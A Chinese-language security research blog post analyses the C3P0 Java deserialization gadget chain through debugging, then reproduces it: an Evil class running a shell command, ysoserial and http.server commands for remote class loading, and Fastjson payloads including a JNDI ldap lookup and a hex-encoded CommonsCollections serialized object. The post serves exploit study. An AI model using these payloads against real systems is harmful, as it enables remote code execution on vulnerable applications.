C3p0链条分析

date
Jun 7, 2022
slug
c3p0-analyse
status
Published
tags
Java安全
安全研究
summary
继续填坑罢了
type
Post

环境配置

这里的环境依赖可以参考YSO里面的标注
notion image
看注释看起来是个JNDI注入,链条比较短可以静态看一下,看来不出网的情况下不太好用,但是后面动态调试的时候发现最后的sink点并不是JNDI。。
notion image
可以看到两个依赖:
c3p0 版本 0.9.5.2
mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包)
整个Maven依赖上去就行了,记得重新加载一下不然的话会出现一些乱七八糟的错误
<dependencies>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
    </dependencies>
整一个反序列化的点:
import org.junit.Test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class C3p0 {
    @Test
    public void test() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("poc.ser"));
        ois.readObject();
    }

}
 

动态调试

在注释里面的那几个函数打个断点,调用的流程就很清楚了
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject 里面获取到com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialize 实例化的对象然后执行getObject方法,这个方法里面就开始初始化一些上下文操作,值得注意的是,并不是在这个getObject函数里面触发的JNDI的lookup请求,此时的contextName 变量是null ,根本不会进到这个分支里面
notion image
真正触发的点应该是在ReferenceableUtils.referenceToObject 这个函数里面
可以很清楚地看到在这个函数里面获取远程需要加载的恶意类名,以及地址,然后通过URLClassLoader 加载类,然后通过Class.forNamenewInstance 进行初始化操作触发的反序列化
notion image
那这个不出网场景下又怎么利用了,利用EL表达式,在这篇文章里面有提及到:
可以参考一下,反正就是高版本JDK下的JNDI绕过罢了

YSO里面怎么生成

其实根据上面的流程也能大概了解需要封装的类有哪些,还是动态调试一下,训练一下自己的debug技能,学习别人是怎么生成的,添加好相关的argument就可以调试了
notion image
在getObject函数处分割字符串,获得对应的地址以及类
notion image
然后通过反射获得PoolBackedDataSource 的实例
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
然后通过反射去设置connectionPoolDataSource 属性,这个属性设置了一个PoolSource 对象,到这里可以回顾一下之前,因为之前的反序列化的时候是ReferenceSerialized 这个类,但是这里全然没有提及,搞不懂YSO作者又在操作啥了。。。。
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
这个PoolSource 很奇怪的一点就是不存在Serializable 接口,本质上序列化的时候会出错,但是却没有出错,在我继续往下跟的时候,来到调用到PoolBackedDataSourceBase 类下的writeObject
可以发现在这个类里面的writeObject 是确实抛出了异常,但是抛出了异常的同时跳入到了com.mchange.v2.naming.ReferenceIndirector#indirectForm 函数
notion image
com.mchange.v2.naming.ReferenceIndirector#indirectForm 函数中又恰好完成了ReferenceSerialized 类的初始化操作,完成了整个链条的初始化,整个构造流程极为精妙
notion image
 

复现流程

编译一个恶意类:
import java.io.IOException;

public class Evil {
    public Evil() {
    }

    static {
        String[] commands = new String[]{"bash", "-c", "open -a calculator.app"};

        try {
            Runtime.getRuntime().exec(commands);
        } catch (IOException var2) {
            throw new RuntimeException(var2);
        }
    }
}
在编译好的文件的同一个目录下启动一个Web服务:
python -m  http.server 9091
然后YSO生成一个POC
java -jar ysoserial-master-d367e379d9-1.jar  C3P0 "http://0.0.0.0:9091/:Evil" > poc.ser
使用测试demo触发这个poc文件
还是得注意一下,不要将编译好的恶意类文件存放在跟执行反序列化操作的一个文件夹下,不然会直接加载本地的class文件,而不会去直接加载远程的恶意文件,导致没有触发远程加载类的效果

FastJson场景下C3p0相关的payload

出网场景:
直接触发JNDI:
public static void main(String[] args) {
    String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/Calc\", \"loginTimeout\":0}";
    JSON.parse(payload);
}
因为触发的事JNDI,所以直接断点打在javax.naming.InitialContext#lookup(java.lang.String) 看调用栈,关注c3p0自身的内容
notion image
关键就是进入了com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout 调用了这个setter函数,这个函数里面存在com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner 的调用,最后调用了JNDI
notion image
 
不出网场景:
这也是一个很好的反序列化点了,触发的反序列化操作
public static void main(String[] args) {


        String hexString = "ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400166F70656E202D612063616C63756C61746F722E617070740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878";
        String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
        System.out.println(poc);
        JSON.parseObject(poc);
    }
在这个函数com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 进入,最后会在com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray 进行原生的反序列化,达到攻击效果
notion image
函数的调用栈
notion image
 

© 4me 2021 - 2024